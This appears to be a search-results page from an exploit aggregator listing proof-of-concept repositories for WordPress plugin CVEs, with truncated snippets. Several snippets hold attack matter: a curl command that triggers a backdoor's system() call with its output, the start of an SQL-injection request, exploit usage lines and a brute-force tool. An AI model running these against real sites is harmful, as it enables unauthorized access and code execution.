277554 matches found
CVE-2025-4190
CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 Arbitrary File Upload -purple 📌 Description The CSV Mass Importer plugin ≤ 1.2 for WordPress contains an Admin+ Arbitrary File Upload vulnerability. Due to improper validation of uploaded files, high-privilege users such as admin can upload...
CVE-2024-25600
CVE-2024-25600 Exploit - WordPress Bricks Builder Remote Code Execution RCE An exploit script for CVE-2024-25600 , a critical unauthenticated Remote Code Execution RCE vulnerability in the Bricks Builder plugin for WordPress. This tool detects the flaw, extracts the nonce, and provides an...
CVE-2024-5326-Poc
CVE-2024-5326 CVE-2024-5326 Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX = 4.1.2 - Missing Authorization to Arbitrary Options Update Description The Post Grid Gutenberg Blocks and WordPress Blog Plugin – PostX plugin for WordPress is vulnerable to unauthorized modification of data...
CVE-2025-0924-different
Other Vulnerabilities Discovered During CVE-2025-0924 Analysis 01. Overview of Stored XSS and WordPress, WP Activity Log 1 Overview of Stored XSS and WordPress, WP Activity Log Stored XSS is a type of vulnerability where a malicious script is stored on the server and later automatically executed...
Wordpress_cve-2019-9787_defense
Wordpresscve-2019-9787defense Notice This is a project by Sijia Zhanghttps://github.com/sijiahi and Bowen Zhouhttps://github.com/KonjakZhou Prerequisite: 1 Recurrence Attack: root@kitploit: - Configure and install Wordpress5.0 under http://localhost/wp-admin/; - Log in Wordpress as admin, post at...
CVE-2025-9816
CVE-2025-9816 Stored XSS On WP-Statistics Plugin Scanner Detection & PoC "The WP Statistics – The Most Popular Privacy-Friendly Analytics Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the User-Agent Header in all versions up to, and including, 14.5.4 due to...
CVE-2020-24913-exploit
qcubed-exploit You need Bun to be installed: https://bun.sh To install dependencies: root@kitploit: bun install To run: root@kitploit: show help bun run exploit -h test for vulnerability bun run exploit vulnerable -u https://site.com/framework/assets/core/php/profile.php create a session for a ne...
CVE-2024-13869
CVE-2024-13869 Migration,Backup, Staging – WPvivid 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft...
wordpress-CVE-2024-27956
This repository does not have a README...
CVE-2025-2539
POC - CVE-2025-2539 File Away Disclaimer : This Proof of Concept POC is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal...
CVE-2019-8943
CVE-2019-8943 WordPress 5.0.0 - Image Remote Code Execution Exploit of CVE-2019-8942 and CVE-2019-8943 using python : ExploitDB : https://www.exploit-db.com/exploits/49512 The original exploit for metasploit : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit :...
CVE-2022-21661-PoC
CVE-2022-21661-PoC A Python PoC of CVE-2022-21661, inspired from z92g's Go PoC Installation root@kitploit: pip3 install -r requirements.txt Usage root@kitploit: usage: main.py -h -u URL -f FILE Identify CEV-2022-21661 in Wordpress instances. options: -h, --help show this help message and exit -u...
CVE-2022-1609
CVE-2022-1609 CVE-2022-1609 WordPress Weblizar后门 curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...
CVE-2024-10924
CVE-2024-10924 Exploit - WordPress Really Simple SSL Plugin 2FA Bypass Overview This repository contains an exploit for CVE-2024-10924 , a vulnerability in the Really Simple SSL plugin for WordPress. It allows an attacker to bypass Two-Factor Authentication 2FA onboarding and gain unauthorized...
xmlrpc-brute
Herramienta de Fuerza Bruta XML-RPC para WordPress Una herramienta diseñada para probar sitios WordPress en busca de vulnerabilidades XML-RPC mediante intentos de fuerza bruta de credenciales de usuario a través de la interfaz XML-RPC. Descripción Esta herramienta prueba instalaciones de WordPres...
CVE-2024-11728
CVE-2024-11728 KiviCare – Clinic & Patient Management System EHR WordPress Plugin Unauthenticated SQL Injection PoC This repository contains a Proof of Concept PoC script for exploiting an SQL Injection vulnerability in the KiviCare – Clinic & Patient Management System EHR WordPress Plugin,...
CVE-2021-42362
CVE-2021-42362 The WordPress Popular Posts WordPress plugin is vulnerable to arbitrary file uploads due to insufficient input file type validation found in the /src/Image.php file which makes it possible for attackers with contributor level access and above to upload malicious files that can be...
CVE-2023-5359
CVE-2023-5359 - W3 Total Cache Cleartext Storage Vulnerability Description CVE-2023-5359 is a cleartext storage vulnerability affecting the WordPress plugin W3 Total Cache in versions ≤ 2.7.5. This vulnerability allows remote attackers to access sensitive credentials stored in unencrypted PHP fil...
CVE-2024-1207
Booking Calendar = 9.9 - Unauthenticated SQL Injection CVE-2024-1207 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/booking/booking-calendar-99-unauthenticated-sql-injection POC: root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: vulnerablesite.com User-Agent:...